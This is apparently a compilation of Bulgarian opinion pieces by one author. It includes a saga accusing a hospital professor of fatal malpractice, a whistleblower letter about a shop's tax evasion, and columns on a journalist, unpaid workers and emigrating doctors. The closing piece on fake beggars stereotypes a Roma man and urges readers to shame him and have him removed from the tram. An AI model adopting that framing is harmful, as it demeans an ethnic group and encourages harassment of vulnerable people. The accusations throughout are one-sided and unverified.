При втория вариант на епикризата за „третия прием“ липсва „Колика реналис“! Тук няма „болки“, няма „спазмолитична и аналгетична терапия“. Но пък е добавен много внимателно редактиран текст, според който „след щателно почистване на оперативното поле“ отново е извършена „уретроцистоскопия“! След което отново прецизно е „поставен трипътен катетър“ и „включена промивна система“! И въпреки че майка ми вече беше „пътник“, „следоперативният период“ е „гладък“, а пациентката „се изписва“ „в добро общо състояние“!
А във ВМА, където Виктория постъпва полужив труп същия ден, „доброто общо състояние“ от „Александровска“ е характеризирано: „…увредено общо състояние…обща отпадналост до безсилие, коремни болки и гадене, невъзможност да уринира, болезненост двустранно в лумбалната област, разстройство – диарийни изхождания,…отслабено везикуларно дишане, отслабени сърдечни тонове, двустранна хидронефроза!“
…На мама й оставаха няколко дни живот, които й подари един военен лекар.
Следва продължение!
Кратък речник на медицинските термини
коагулорум /коагулум/ – съсирек; маса от съсирена кръв, каквато се образува при кръвосъсирване; кръвосъсирекът е като запушалка за кръвоносния съд;
хемодинамично стабилна /хемодинамика/ – движение на кръвта в сърдечносъдовата система съгласно силите и законите, по които кръвообръщението функционира;
пулмолог – специалист по белодробни болести;
спазмолитична и аналгетична /терапия/ – с обезболяващ ефект;
„колика реналис“- болки в бъбреците;
двустранна хидронефроза – симптомокомплекс, включващ прогресивно патологично разширение на пиелокаликсната система и атрофия на бъбречния паренхим, настъпващи след обструкция по хода на уретера с последващо частично или пълно спиране оттока на урина; ако пречката е в нивото на пикочния мехур или уретрата, може да се стигне до двустранна хидронефроза;
"
-
Едно от нея за Кошлуков:
"Снишаването на уморения Кошлуков
Преди 20 години той беше мечтаният фронтмен на младите бунтари в България. Оттогава си сътвори почти екзотична биография, възлово място в която заема затворническата килия. Няма съмнение, че затворът, побоите, анатемосването, „страната на неограничените възможности“ бяха дивиденти, съпътстващи бъдещото му израстване като политик.
Оказа се наистина, че „младостта не е порок“. Ако беше, то неотслабващата непримиримост, заедно с този порок, биха следвали Кошлуков и в следващите години и едва ли биха допуснали той да се превърне в обикновен „журналист“. Може би след толкова страдания и неволи в младостта, след рухването на депутатската му идилия и загубата на всички секретни ключове към неограничената власт, изведнъж се изпари и някогашният бунтар. При всички тези неудачи политикът вероятно е решил да си подсигури поне безоблачното настояще и още по-спокойно бъдеще. И от възхитителен фронтмен еволюира към вегетиращ рутинен „водещ“! Без ясни и категорично изразявани позиции и становища, без неудобни провокативни въпроси към „гостите“, без ангажиращи го коментари, анализи и отношение. За жалост! С тази си промяна Емил Кошлуков става безинтересен, друг, почти скучен Кошлуков, неполезен на изпитващите необходимост от провокация на чувството за справедливост, за значимост, за полезност.
Дали в новата си роля на улегнал, тих, кротък водещ, Кошлуков се чувства комфортно, в свои води? Ако „да“, жалко за него и очарователната му младост! Жалко за погребания му чувствителен, остър, критичен, полемичен тон, който единствено би налучкал пътя към истината и промяната! Защото българите все още имат нужда от това.
"
-
Следващото от нея е:
"Из тъмните доби на една оката Темида
Хроника на един фарс, наречен „досъдебно разследване“
„Готов съм да се откажа от българското си поданство!“
/В изложените по-долу документи по разбираеми съображения са пропуснати имена и дати!/
Откъс от „ИЗЛОЖЕНИЕ-СИГНАЛ“ на редови гражданин
до Главен прокурор на Софийска градска прокуратура – София
„…Със същия наивитет, който ме въоръжава със смелост да рискувам и да ви сигнализирам по долуизложения казус, поради жестока липса на друг избор, постъпих на…във фирмата на… Казвам „със същия наивитет“, защото тогава вярвах, че ще бъда назначен съобразно всички правила и изисквания на българското трудово законодателство. Да, ама не, както актуално продължава да звучи емблематичната фраза на журналиста Петко Бочаров. След многократни настоявания от моя страна и след скандал, година по-късно получих най-сетне трудовия си Договор, в който с изненада прочетох, че съм назначен без указано в документа работно време, с месечно възнаграждение от 100 /сто/ лева /реално получавах 300 /триста/ лева. / Впоследствие промяната по договор беше съответно четири часа и половина със заплата 65.00 лева, четири часа със заплата 85.00 лева и при промяната на името на фирмата с продължителност на работното време четири часа и заплата 95.00 лева. Но реалното работно време беше първоначално десет часа и половина, впоследствие десет часа, а възнаграждението от триста лева се промени последователно на 400 и 500 лв. Несъмнено тези данни са за обсъждане от Главна инспекция по труда, /която също е запозната с проблема!/, но си позволявам да сведа и до Вас, защото те са съществена брънка от главния проблем, предмет на това писмо, който ме безпокои и ощетява мен лично, колегите ми, българските поданици и държавния бюджет.
В средата на 200…г. в резултат на многократните ми настоявания, убедих един от колегите в моята смяна /получихме и устното съгласие на останалите двама/ да помолим за промяна в трудовия договор и назначение на осемчасов работен ден, та макар и на минимална работна заплата. Собственикът на търговския обект и наш пряк работодател ни отказа категорично с мотива, че в такъв случай „ще се наложи да увеличиме оборота и да давам повече пари на държавата!“
Уважаеми г-н Прокурор,
Магазинът за „марков“ алкохол и и тютюневи изделия на…е един от най-скъпите и за жалост несправедливо титулуван като един от „най-реномираните“. Освен че тук се ощетяват потребителите, като им се предлагат доменикански и белгийски пури, фалшифицирани със стикери като „кубински“, респективно се завишават многократно и действителните им цени. Целта е единствена, цинична и арогантна – по-големи обороти и по-високи печалби за собственика в ущърб на работещия персонал и потребителите.
На среща със зам.-главния Прокурор във Върховен административен съд деянието, за което сигнализирах и там, беше квалифицирано като „престъпление от обща характер“, касаещо укриване на данъци. Ако професионалните Ви ангажименти Ви задължават и сте заинтересован служебно от този сигнал, ще се опитам да Ви разясня схемата, която ми сподели и колега от моята смяна, работил в магазина около десет години:
В този търговски обект пазаруват клиенти със завиден социален статус – бизнесмени, шоумени, министри, депутати, чужденци, та дори и сноби, привлечени и поласкани от възможността да си направят реверанс чрез купуване на една пура, макар и да нямаха никаква представа каква пура ще да е тя. Средните месечни обороти в магазина не падат под 60 000 /шестдесет хиляди/ лева. По-голяма част от стоката се изплаща на консигнация. Само за малка част от нея има някакви документи. Лятото на 200…г. беше особено доходно за г-н…, който изрази задоволството си по следния начин:
„Ние сме добре!…В другите магазини няма жив човек!“
Дневният оборот рядко падаше под 2000/две хиляди/ лева. Зимата на 200…г. по време на коледните и новогодишни празници сме правили обороти между седем и десет хиляди лева дневно.
В магазина се работи на два „легализирани“ касови апарата, които поемат данните от реалния дневен оборот. В офиса на собственика има трети/!/ касов апарат, който има „други“, специални функции. Сутрин счетоводителката, „най-верният човек“ на собственика, по собствените му изявления, заличава на компютъра данните от касовите апарати, които сочат по-солидните сметки /а те варират от 50 до над 1000 лева за един клиент/прилагам Ви документи, доказателство за това твърдение!/
За заблуда на държавните контролни органи, че оборотите наистина са много ниски /а какви биха могли да бъдат при четиричасов/!!!/ работен ден!?/ оставят се данните само за минималните сметки и тези, за които клиентите са изисквали фактура. /А недоволството беше повече от очевидно, когато клиентът изисква фактура!/
На база на тези значително занижени обороти счетоводителката, респ. управителката, подава необходимата информация на счетоводната къща, респ. на данъчни и други органи. А фишовете с истинската касова информация /и двата екземпляра/ се изхвърлят в коша.
Вие, г-н Прокурор, ще имате редкия шанс да получите някои от тях, за които в продължение на месец лично се погрижих. От тях ще констатирате високите обороти дори в почивни дни, когато София „се изнася“ в провинцията. Да не говорим за наплива от заможни клиенти в работни дни!
Тази, г-н Прокурор, е истинската причина за щетите, които нанася г-н…и други новобогаташи като него на обикновените граждани и на държавата с нелегални печалби. Затова никога няма да достигнем стандартите на живот в европейските страни, наши официални „събратя“ европейци. „Четиричасов“ труд, за „малко“ работа, за „ниски“ обороти, но и за категорично ниски данъци! И е хвърлен заслепяващ прах в очите на държава и контролни органи. Това е скандалната действителност в един търговски обект, но съм абсолютно убеден и практиката го доказва многократно, че явлението е масово. Трудно е да се отговори на въпроса, защо при това дередже на държавата тя продължава да си затваря очите. Ех…Корупция!…Корупция!…Ще унищожи до шушка цялата ни държава!
А колко е лесно за контролните органи да констатират каквото и да е нарушение и истинността на гореизложеното! Ето как: – В края на всеки работен ден, преди продавачите да отчетат оборота и да предадат данните от касовите апарати, контролният орган изисква фиша направо от касовия апарат, от който получава очевидната истина за дневния оборот. /Практикува се и друг трик – периодично се изземва от управителката част от дневния оборот и се внася в касата на офиса./
Толкова ли дълбоко и неизлечимо е вкоренена тази прословута „корупция“ в обществото и държавата ни, та ни прави достойни само за съжаление нас, обикновените граждани?
Познат финансист, врял и кипял в казана на беззаконието и корупцията, съветва: „Сигнализирайте до няколко различни и независими инстанции, та ако плати /собственика/ на една и тя се откаже от проверки, поне да се надявате, че някоя от другите ще си свърши работата!“ Това е цинично и жалко!
Уважаеми г-н Прокурор,
Принуден съм да действам по този начин, воден от добре развитото ми чувство за самоуважение и това действие за мен е въпрос на чест, а не на „доносничество“, както е актуална напоследък тази тема. Ако се окаже, че автентичните данни от касовите апарати, копия от които Ви изпращам, не са достатъчно доказателство за извършено престъпление и за прилагане на съответни законови санкции към „нарушителя“, трупащ състояние на гърба на беззащитни българи и на самата държава, газещ законите и необезпокояван от нея, длъжен съм да Ви заявя /което ще сторя и в медиите/, че поради такава гавра съм готов да се откажа от българското си поданство! Това не е налудничава идея, а обмисляно през кошмарните години на непроменящата се с нищо българска действителност.
Изчетох на един дъх „Икономическите измами“, „Войната на групировките“, „Войната ВИК-СИК“, „Живей бързо!“ и др. Повече от трагичен е фактът, че България се превърна в една кланица със събирани по пода й кървави милиони. Тези пари, г-н Прокурор, са моите пари, парите на моите колеги, а може би и Вашите /надявам се да сте от коректните данъкоплатци!/
Моля Ви от съображения за сигурността ми, макар че не ми липсват опасения за изтичане на информация от други лица, засега да спестите името ми при евентуални Ваши действия. По този повод споделих пред Ваш колега от Върховния административен съд, че не се страхувам от ликвидиране.
„Ситуацията сега е променена. Знаеш ли, че с тези си действия се нуждаеш от закрилата на държавата?“ – беше риторичният въпрос към мен на високопоставения познат магистрат.
Когато му отговорих, колкото шеговито, толкова и сериозно, че може да се случи най-много да ме гръмнат, отговорът беше:
„О…Ако те гръмнат, добре!…Познаваш ли добре този човек? Може да те обезобразят, да те осакатят за цял живот!“
Какво пък? С мен няма да свърши света, нали?
„Няма, само че не след дълго може да свърши България“ – отговори магистратът.
Господин Прокурор,
Прилагам Ви засега копия от автентичните документи. При необходимост съм готова да предоставя и оригиналите. Въпреки всичко, надеждата умира последна…“
По същия повод и с допълнения за нарушение на трудовото законодателство от същия работодател, гражданинът изпраща сигнали и до Изпълнителна агенция „Главна инспекция по труда“, до директора на Комисия за защита на потребителите – регионална дирекция в София, подготвя сигнал и до директора на Национална агенция за приходите /НАП/.
Любопитна „среща“ в Комисия за защита на потребителите – София
Около 20 минути след внасянето на сигнала в Софийска градска прокуратура, авторът му представя копие и в регионалната Дирекция на Комисия за защита на потребителите в София. На среща с един от „шефовете“ на дирекцията негов колега, извършил дни преди това проверка в същия търговски обект и констатирал множество закононарушения, при прочит на сигнала изпада в паника и излита от кабинета с думите:
„Чакайте! Нещата са сериозни! Тук става въпрос не за друго, а за сива икономика!“
Връща се и представя вече изготвено от Комисия за защита на потребителите Наказателно постановление за глоба от 50 000/петдесет хиляди/ лева на същия търговец за нарушаване на закона.
Следва втора среща – между вносителя на сигнала и представителка на по-висшата йерархия в управлението на Комисията. Тя „услужливо“ „съветва“ вносителя да не внася сигнала до НАП и деликатно го „смъмря“, че не се е обърнал единствено и само към Комисия за защита на потребителите!!! Основанието за подобен „съвет“ шефката мотивира с „опасността“ от „изтичане на информация“ от другите инстанции, което ще им „отреже ръцете“ и няма да могат да реагират своевременно. Дори изразява опасение, че и Софийска градска прокуратура не е била най-удачното място за подаване на сигнала!!!
Вносителят, макар и наивен, все пак остава озадачен от реакцията на длъжностното лице от „Комисията“ и споделя, че ако наистина се притесняват от изтичане на информация, сигналът е постъпил в Градска прокуратура едва преди 20 минути, време, през което те спокойно могат да атакуват търговския обект, преди да е „изтекла“ каквато и да е информация. И започва да се пита – какво всъщност се случва с тези институции? Тези за будала ли го вземат? Оказва се – наистина за будала!
В продължение на месец Комисия за защита на потребителите не реагира съобразно задълженията си! След този срок неин представител се обажда по телефона на вносителя и го кани на среща с представител на НАП/!/, който в момента бил техен „гост“. Но се оказва, че за предпочитане е срещата им да се състои в сградата на НАП! След десет минути отново се обажда същият шеф от „Комисията…“, за да изкаже „съжаление“, но няма да има нужда от такава среща, защото „се оказало“, че „колегите от РПУ са си свършили работата като по книга“!
След подобни недомислици и алогично поведение от страна на служители от сериозни и отговорни институции и ведомства, на вносителят постепенно се изясняват обстоятелствата около сложния казус.
По „съвет“ на Комисия за защита на потребителите той не внася в НАП своя сигнал, но явно служителите от НАП са били уведомени от РПУ /или от Прокуратурата/ и поставят в доста „неудобна“ ситуация колегите си от „Комисията…“
Прокурорът от Софийска градска прокуратура:
„Не ме интересува!“
На сигнала адекватно /но само в началото!/ реагира единствено прокуратурата. Вносителят му е извикан /по телефона/!/ на разпит в Районно полицейско управление, където дава писмени обяснения на съответен „дознател“. На втора среща дознателят получава чрез съответен протокол всички веществени доказателства /„унищожените“ и хвърляни в коша фишове от касовите апарати/.
По време на разпит в Софийска градска прокуратура вносителят, в присъствието на дознателя, съдия и машинописка, дава обстоятелствени отговори на въпросите на съдията, касаещи повдигнатия казус с търговския обект.
Следва досъдебно разследвано от съответно Районно полицейско управление и заявителски прокурорски материал. В процеса на първоначалното шестмесечно разследване никой не дава официална информация на вносителя на сигнала за хода на разследването. По негово настояване той все пак е уведомен, че разследването се удължава с още три месеца!!! После се удължава с още три месеца!!!
На въпрос на вносителя към водещия дознанието полицай защо се удължава разследването, след като законовият шестмесечен срок за това е изтекъл и прокуратурата трябва да внесе в съда обвинителния си акт, реакцията на дознателя е повече от показателна за съмнителните действия, меко казано, от страна на прокуратурата и назначения да води разследването прокурор, в този момент станал скандално известен във всички среди.
„Няма да го оставя! – категоричен е дознателят. – Аз работя цяла година и ще настоявам да се заведе дело…да се предяви обвинение!“
Да, ама не!
По време на разговори на вносителя на сигнала с водещия дознанието полицай става ясно, че прокурорът от Градска прокуратура отказва да съдейства по какъвто и да било начин на дознанието, касаещо осигуряване на експерт за проверка на касовите апарати и за проверка на бандеролите на алкохолните напитки, иззети от търговския обект с кашони и складирани в стаи на РПУ.
„Нямам възможност сам да осигуря транспорт до…за да закарам дотам касовите апарати!“ – оплаква се дознателят пред прокурора.
„Не ме интересува!…Няма аз да ти върша работата!“ – е „указанието“ на прокурора към дознателя.
След поредно посещение в Съдебната палата вносителят е уведомен за последващото „удължаване на срока“ по изричното нареждане на Главния Прокурор. А споделеното пред медиите становище на Главния Прокурор е, че удължаването на срок на досъдебно разследване до една година е негово лично становище и то в случаи, когато той счита, че има „достатъчно основания“ за такова удължаване!!!
След едногодишно „разследване“ изведнъж се оказва, че „разследването е прекратено без последствия!“
Но няма кой да отговори какви бяха „основанията“ за прекратяване и липса на „последствия“!
Макар че на целокупния български народ тези „основания“ са му пределно ясни и до трагизъм познати!
Междувременно дознателят, най-дребната рибка във веригата, вероятно задоволително „възнаграден“, не вдига телефона и не желае да дава никакви обяснения за професионалния си провал!
"
-
Пак едно от нея (от 2010 г.):
"Има ли държава? Кой се гаври с берковчани?
„Някой“ погубва и без това жалките остатъци от поминък в китното градче в Северозападна България – Берковица. Изнася безпрепятствено машини от бившо голямо дървопреработващо предприятие! И няма кой да го спре! Не изплаща заплати на работниците си в продължение на година! И няма кой да го задължи да изпълни задълженията си на работодател! Гаври се с българския народ! И няма кой да го накаже за това! Обрича на глад родители и деца! И няма кой да се възмути от това!
Има ли общинско ръководство, което да изпълни правомощията си и да се намеси в казуса?
Има ли областно ръководство, което да контролира незаконните действия на идиотизирани „бизнесмени“ и „собственици“?
Има ли контролни, държавни и всякакви органи, които да защитят обикновения наемен работник?
Чии интереси защитават „ненамесващите“ се?
Как ще бъдат възнаградени за това си поведение?
Кой покровителствува разиграващите коня си?
Има ли все пак държава?
Ако има, нека да си проличи!!!
"
-
Ето едно друго от нея:
"Ще превърнат нацията ни в свърталище на инвалиди и гноми!
Защо лекари-специализанти напускат България?
На този въпрос спешно трябва да си отговорят управляващите. Но той повече вълнува обикновените българи, всеки един от тях потенциален пациент. Дали в чужбина, в „белите“ държави, отскочили на светлинни години преди нас – /потомци на една от първите европейски цивилизации/, бъдещите млади специалисти ще бъдат застраховани против тежките и убийствени пороци, заселили се в душите и ръцете на една част от българските лекари – печалба на всяка цена! Няма нищо лошо, ако в чужбина успеят да съхранят основните принципи, изискващи се от медицинската наука и практика и връщайки се след години в родината, да поставят точка на комерсиализма , да издигнат в култ хуманността и Хипократовата клетва и така да възвърнат авторитета на една древна и почитана доскоро професия. Няма нищо лошо, ако в чужбина се изградят като почтени и добри специалисти и завръщайки се в България /ако изобщо го сторят/, да измият срама, натрупван в последните години от деградирали касапи, чиито очи се замъгляват на операционната маса от постоянната мисъл за материалната облага.
Но за да се случи това, промените в българското законодателство за много кратък срок трябва да отскочат с години напред. Някой трябва най-накрая да сложи ред в здравеопазването – както във финансирането му, така и в изискванията към етичния и професионален кодекс на българския лекар.
Може би младите, завърнали се след години от чужбина, ще успеят да го сторят! Но дотогава насилствено ще ни превръщат в болниците в увреден човешки „материал“! И нацията ни ще се превърне в свърталище на инвалиди и на гноми…Кой желае такова бъдеще за децата си?
ПРИЛОЖЕНИЕ
Из „Veneficium Bulgaricus – Сага за Виктория“
ГЛАВА ЧЕТВЪРТА
…Не е за пренебрегване въпросът как от УМБАЛ „Александровска“ щяха да редактират и двата варианта на епикризите от „третия“ прием, ако не бяхме инициирали и заплатили компютърната аксиална томография /КАТ/ в болница „Св. Екатерина“, текстът от чиято диагноза е в основата и преобладаващ в тези епикризи. Повторното явяване на майка ми в същото отделение и нейният „трети“ прием са чудесна нова възможност за източване на нови средства от НЗОК. Въпросът е какъв експеримент да се предприеме за „легалното“ аргументиране на това източване? И професорът решава – нова уретроцистоскопия! По-любопитното е друго – той не „решава“, принуден е да представи като такава поредния си провал, който едва ли би могъл да се оправдае с клинична пътека и парични средства.
Задраскваните и допълнително изписвани номера на клинични пътеки в „История на заболяването“ от „третия“ прием са нечие нагло и цинично деяние. В същата тази „история“, в графа „важно“ отново изрично е отбелязана медикаментозна алергия на пациентката. Но в предоперативната епикриза за последната оперативна намеса е отбелязано: „Алергия към медикаменти – Не!“ „Тестуване – Не!“ Кому са нужни толкова усилия? И без това бъдещето на болната е предизвестено благодарение на големия ентусиазъм на лекуващия учен. Липсват отбелязани и „придружаващи заболявания“. По-съществено е, че резултатът отново е налице – клиничната пътека за третия прием е осигурена. Да действаме! И господата ни най-малко не се притесняват, защото на този етап няма как да знаят, че в една от предоставените ни епикризи този експеримент не фигурира. Ако бяха по-съобразителни и далновидни и в по-малка степен сребролюбци, вероятно не биха допуснали поредната грешка. Защото именно в този неин вариант не фигурира действие или процедура, осигуряващи пари от НЗОК. Оттук следва и новото намерение действието да бъде представено като „уретроцистоскопия“. Но показанията на електролитите в кръвната картина смущават донякъде млада лекарка-анестезиолог и това налага за подготовка на анестезията да се повторят тези изследвания. Констатираният анестезиологичен риск е „АSА клас 3“. Но въпреки всички рисковани или не действия, т. н. „информирано съгласие на пациентката“ е получено приоритетно.
На следващия ден изследванията са повторени – биохимичните показатели са сензационни! Както стана ясно по-горе, креатининът е с невероятните стойности 1075, което обстоятелство изисква задължително и спешно подлагане на пациентката на хемодиализа, но след провала при първия опит никой не си прави труда дори да помисли за следващ. Хемоглобинът е спаднал, многократно са завишени стойностите на левкоцитите. Но професорът е твърдо решен и безкомпромисен – клиничната пътека ще бъде употребена!
Атракцията, към която проявяват любопитство седмина човека, си е заслужавала интереса. Но защо атракция? Защото след провалите си професорът е под натиск от близките на Виктория и „обещава“ да „освободи“ и протезира поне единия уретер, което може да се окаже временен спасителен акт за живота на Виктория, освобождавайки път за диурезата. Спасителен, но и твърде рискован. Рискован, но не и за пациенти като „прежалената“ вече, възрастна провинциалистка.
Професорът предприема нов скандален опит с предизвестен неуспех и дълбоко в себе си е убеден в това. Достатъчно натрупан опит има зад себе си, за да е сигурен, че запушването и адът в пикочния мехур са гарантирани от досегашните му действия и че ще бъде престъпление да предизвиква с нови хазартни игри природата.
Медицинската наука е категорична: „Следва веднага да се прекрати въвеждането на инструмент, ако срещнете непреодолимо препятствие за неговото проникване и да не действате насилствено!“
Как, ако не насилствено, може да се „пробие“ затлачен уретерален остиум в отчаян опит за поправяне на лекарска грешка или като съзнателен злодейски експеримент?
Със сигурност никой от колегите на професора не е вярвал в успешния изход на този опит, имайки пред себе си резултата от предишните – един експериментално съсипан човешки „материал“, неподлежащ на повече експерименти! Многочислени наблюдения през последните години са показали, че инструменталните изследвания често се явяват причина за тежки възпалителни процеси в урогениталната система. Което означава, че е необходимо максимално да се обезопасят и провеждат само по строги показания. Защото дори минимална инструментална травма може да предизвика допълнителна микро- или макрохематурия.
Никакви иновационни методи не могат да заместят рационалното мислене на лекаря. Преди да приеме каквото и да е следващо действие от този характер, лекарят е длъжен да реши необходимо ли е, има ли смисъл от него и да си изясни всичките „за“ и „против“. Развитието на медицината и лекарската практика са доказали неоспоримостта на успехите в резултат на тези изследвания, но не и продължаваща решимост и желание за тяхната приложимост и жизнеспособност понастоящем.
Не престават да ни атакуват отвсякъде в публичното пространство подобни „мнения“, отправяни към масите дори от емблематични фигури в сферата на здравеопазването, манипулирайки ни с изявления като:
„Ние ги чакаме, за да им помотнем!“
„Докторът трябва да мисли и преценява кое е най-добро за пациента!“
И всички ни убеждават, че изповядват искрено идеята за прилагане на интердисциплинарно лечение на пациентите, несъмнено най-полезно и резултатно за тях. Но едва ли на професора е хрумвала подобна идея. Въпреки очаквания нов провал, той еднолично „допуска“, „обмисля“, „изяснява“, „решава“ и…злощастната Виктория отново е положена на операционната маса. По стечение на обстоятелствата или по силата на съдбата в този ден в операционната зала се явява и човекът, оказал във ВМА реална спешна помощ на майка ми, макар и осигурявайки й само десетина дни живот:
„Бяха се струпали голяма група колеги – изпотени, притеснени…и…като натиснали една възрастна жена…“
„…която беше моята майка“! – допълних изявлението на военния лекар, който изобщо не подозираше, че близо до тях, групата лекари, събрали се на своеобразен „консилиум“ във връзка със спешния прием във ВМА на пациентката на колегата им – професора от „Александровска“, присъства и собствената й дъщеря. Смущението на всички беше очевидно.
За почитаемия Читател вероятно всичко изглежда отвратително, толкова объркано и неясно. Повече от отвратително, но е толкова плоско и прозрачно. Със сигурност някой е подценил неимоверно интелекта на обикновения българин. Но без да съзнава, че с тези си действия подценява, игнорира, унищожава и собственото си достойнство, ако изобщо притежава такова. Нещо повече – компрометира из основи системата на българското здравеопазване и авторитета на достойни медици, изследователи, учени и ръководители в тази сфера. Минира и руши дори държавността. Което вече е трагедия за цялата нация. Защото въпреки големия Алеко, не всички са „маскари“!
Ще се извини ли някой за унижението да вписва в графа „неграмотни“ преобладаващата част от тази нация, за нещастие изконно търпелива и прощаваща? Или може би наистина преобладаващата част сме неграмотни? Ако това е истина, кой ще поеме отговорност и за този провал?…
В средата на м. януари 2010 г. един от новите ръководители на лекарската гилдия, очевидно останал на „Вие“ с всякаква дипломатичност и такт, прави цинично публично изявление в ефир:
„Пациентът е некомпетентен, за да оцени качеството на здравната помощ!“
На това ли разчитат някои лекари, за да ни превръщат в опитни плъхове? Господа като този са слепи, за да забележат, че „некомпетентността“ на пациента не му пречи със собствените си страдания да усети и „оцени“ все пак силата на началния удар, с който оказващият „качествената здравна помощ“ го тласка в отвъдното!
Моят и животът на сестрите ми през тези убийствени седмици беше подчинен на един велик стремеж – да помогнем на майка ни да поживее още малко. Но сами се въвлякохме в недостойна и неравностойна битка, която попари всичките ни надежди и унищожи из основи този стремеж. Единствена жертва беше нещастната Виктория. Нямахме никаква представа професорът с колко още ще скъси това наше жадувано „малко“! Но за да сбъднем мечтата си, бяхме готови на всичко. И вярвахме на професора!
Питам се сега – освен касапско настървение имаше ли и доза мъдрост у този човек? Която да съхрани собственото му самоуважение, което пък евентуално щеше да спести гаврата с тялото и личността на премъдрата ни майка.
Геният на природата създава този сложен и невероятен механизъм – човешкото тяло, за което великият Микеланджело доказва, че е най-великото произведение на изкуството.
„Трябва да притежаваме обширни познания, преди да потеглим на дългото и трудно пътешествие към откриване на подходящото лечение или медикамент“ – заявява преди век и половина бащата на психоанализата /Зигмунд Фройд/, прекланяйки се пред това гениално природно творение. Но тогава деградацията на човешката личност не се е намирала в своя апогей, нито дори в зародиша си. Категорията „морал“ е имала различни от днешните, измерения, обсъждането й не е било на дневен ред. Учените-медици са вярвали на Хераклит, че „Всичко тече, всичко се изменя“, но стремежът е бил преди всичко към познания, към усъвършенстване и в академично, и в професионално отношение, за да бъде избавено човешкото същество от ненужни страдания по пътя към спасението и оцеляването му.
Една от причините за любовта им към медицинската професия била, че са я практикували „най-светлите умове и личности във всяка страна“. Изпитвали са удовлетворение от резултатите от своите усилия, въодушевени от собственото си твърдение, че „медицината е като ембрион в утробата на майката, който с всеки изминал ден се променя, нараства и става по-жизнеспособен“. Приемали са за свой дълг да облекчат страданията и да допринесат за подобряване състоянието на болните, които са се доверили на професионализма и тяхната хуманност.
На нашия професор не му бяха нужни знания. Нуждаеше се от лечение неговият морал. За да не се превръща скалпелът в единственото оръжие за печелене на слава. С който може би си е изтъргал завинаги онзи слой, предпазващ от унищожение най-човешкото качество – благородството и превърнал се в инструмент за собственото професорско „абразио“.
Забележителна е метафората на Ървинг Стоун:
„Добре е да мечтаем да увековечим името си върху скала, но трябва да се примирим с факта, че не можем да го издълбаем с нокти“!
Съзнавал ли е това професорът в триумфалния си поход към славата? Усещал ли е рани по ръцете си? Забавял ли е ход понякога, за да им осигури покой?
Трагедията на Виктория може би се състоеше и в това, че беше от „обикновените“, не беше „величие“ и беше бедна. При тези обстоятелства кое можеше да мотивира професора да провокира ремисия за собствения си морал и изпълни съвестно дълга си? Нито пациентката, нито дъщерите й с големи жестове можеха да осигурят за в бъдеще „гърба“ му, както и да бетонират положението му в обществото, което той е убеден, че вече е постигнал.
Несъмнено макиавелизмът беше съхранил бацилите си и пренесъл ги не само от „тоталитаризма“ към зародилата се у нас „демокрация“, но, преброждайки политиката, беше заразил трайно и социалния ни живот.
Следва продължение!
Кратък речник
„ASA клас 3“ – /анестезиологичен риск/- „пациент със системно заболяване в тежка форма, ограничаващо неговата активност, но без да го инвалидизира, клинично значими заболявания“;
„бащата на психоанализата“ – Зигмунд Фройд /Freud/1856 -1939/ – австрийски психолог, невропатолог и психиатър;
диуреза – процес на отделяне, изхвърляне на урина; количеството урина, което се отделя за определен период от време /нормално около 1 мл. на минута за възрастен човек/;
„макиавелизмът“ – Николо Макиавели / Machiavelli /1469-1527/ – флорентински държавник и историк, италиански патриот и именит писател, политик и дипломат; смята, че главна причина за бедите на Италия са политическите междуособици и разпокъсаност , които трябва да се преодолеят чрез силна централизирана власт, а за тази цел всички средства са позволени;"
-
За мнимите инвалиди от нея едно:
"Мними инвалиди на Коледа
Отново е Коледа. За бедни и богати, за имащи и нямащи, за вярващи и неверници. Сноби и „популярни” „отварят” сърца и джобове за милосърдие, за дарения и съчувствие. Благотворителни концерти, послания, снизходителни търговци. България е пълна със самотни, изоставени, увредени, нещастни. Всеки е готов да помогне, да прости, да съдейства, да съчувства.
По тротоари, по кръстовища, пред храмове, банки, магазини, ви препречват пътя, в повечето случаи без свян и притеснение, нещастни люде с тежка съдба. Повечето от тях са истински и искрени, наистина „нуждаещи се”. Но в трамвая за пореден, не хиляден, може би стохиляден път ще мине покрай вас и ще ви пожелае „Бог да ви благослови!”, „Да сте живи и здрави!” един нахален, здрав, як циганин, изпечен симулант-инвалид, който е дотичал устремно до спирката и „едва” успял да се качи, отпочва похода си сред наивните. А вие сте го виждали всеки ден. И отдавна знаете, че е нахален лъжец. Понякога го виждате и в компанията на дете. Да предизвика съчувствие човекът.
А защо сте примирени? Не ви ли е гнусно, че ви лъже, че ви мами, че се гаври с вас? Защо не го напсувате, защо не го прогоните, защо не се развикате да го свали ватманът? Защо вербално поне не го принудите да се почувства поне малко „неудобно”, макар че подобен израз по всяка вероятност нищо не означава за него! Направете го сами, защото вместо вас няма кой да го направи. Нима всички вие сте по-добре от него? По-охолно ли живеете всички? Винаги ли имате в повече, за да давате на такива като него? Държавата не желае да се справи с тях. Нека си помогнем сами! Станете от седалките, помолете ватмана да спре и го свалете на следващата спирка. Поне на по-следващата циганинът ще си помисли, дали отново да се качи.
В навечерието на Коледа, на кръстовището пред ЦУМ, точно срещу извисената сякаш в небето прелестна снага на „Света София”, по тротоара бавно, с приведена глава, се движи млад „инвалид”. Държи пластмасова чашка с образа на дева Мария в нея. „Липсва” му лявата ръка. Гледате го в гръб, но си личи от „празния”, свит ръкав. И ви обзема жал, съчувствие, неудобство, защото вие сте здрав, возите се в автомобил, вече сте купил коледен подарък за близките, напазарувал сте за коледната трапеза. И ви се иска да му помогнете. Но „инвалидът” се обръща и усетил проницателния ви поглед, рязко тръгва назад към автомобилната върволица след вас…
И ви обзема ярост! Та той съвсем не е инвалид. Личи си! Очевадно е! Просто е напъхал ръка под издутото палто и цинично е прибрал навътре ръкава си. Лично аз изпитах трудно преодолимо желание да скоча и да го разпъртушинча. Спря ме единствено светофарът и върволицата зад мен.
Сигурна съм, че следващия път няма да му се размине. А ти! Какво ще направиш в такава ситуация? Ще позволиш ли да ти се подиграе и излъже?
Действай по съвест!
Ще ти разкажа един епизод от екшъна по софийските улици.
Между наредените по трамвайната линия нахални таксита трамваят едва си проправя път. Един от редовните му пътници отново е незрящият старик, който всеки ден пътува с хармониката си по своето обичайно трасе в центъра на столицата – от трамвай в трамвай, от надежда до отчаяние, с вярната си спътница, малка, стара хармоника. Тя приканя съчувствие и събира с животоспасяващите си тихи звуци съжалителни, но в повечето случаи небрежно захвърлени дребни монети. Дребни и нищожни наглед, но дали хапка живот и глътка човечност на един от многото отхвърлени и забравени от държавата българи.
